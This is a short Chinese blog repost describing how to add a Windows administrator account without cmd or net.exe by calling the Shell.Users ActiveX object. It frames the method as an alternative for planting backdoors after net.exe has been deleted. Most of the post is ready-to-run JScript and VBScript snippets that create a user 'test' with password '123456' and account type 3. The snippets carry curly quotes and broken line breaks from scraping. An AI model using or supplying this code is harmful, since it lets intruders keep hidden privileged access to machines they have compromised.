之前有个html" target=_blank>xp下利用控制面板的cpl文件留后门,然后又有了用.cpl文件加账号的技术,lcx真的很厉害
今天研究了一下用户控制面板文件nusrmgr.cpl,发现调用的是Shell.Users来加用户,它还同时调用了wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话,这一个Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外,这也可能是一种新的加用户的方法。代码如下:
js:
var o=new ActiveXObject( “Shell.Users” );
z=o.create(”test”)
;
z.changePassword(”123456″,”")
z.setting(”AccountType”)=3;
vbs:
Set o=CreateObject( “Shell.Users” )
Set
z=o.create(”test”)
z.changePassword
“123456″,”"
z.setting(”AccountType”)=3
无cmd命令行下添加用户的方法:API添加用户与Shell.Users,布布扣,bubuko.com
无cmd命令行下添加用户的方法:API添加用户与Shell.Users
原文地址:http://www.cnblogs.com/Hkadmin/p/3726150.html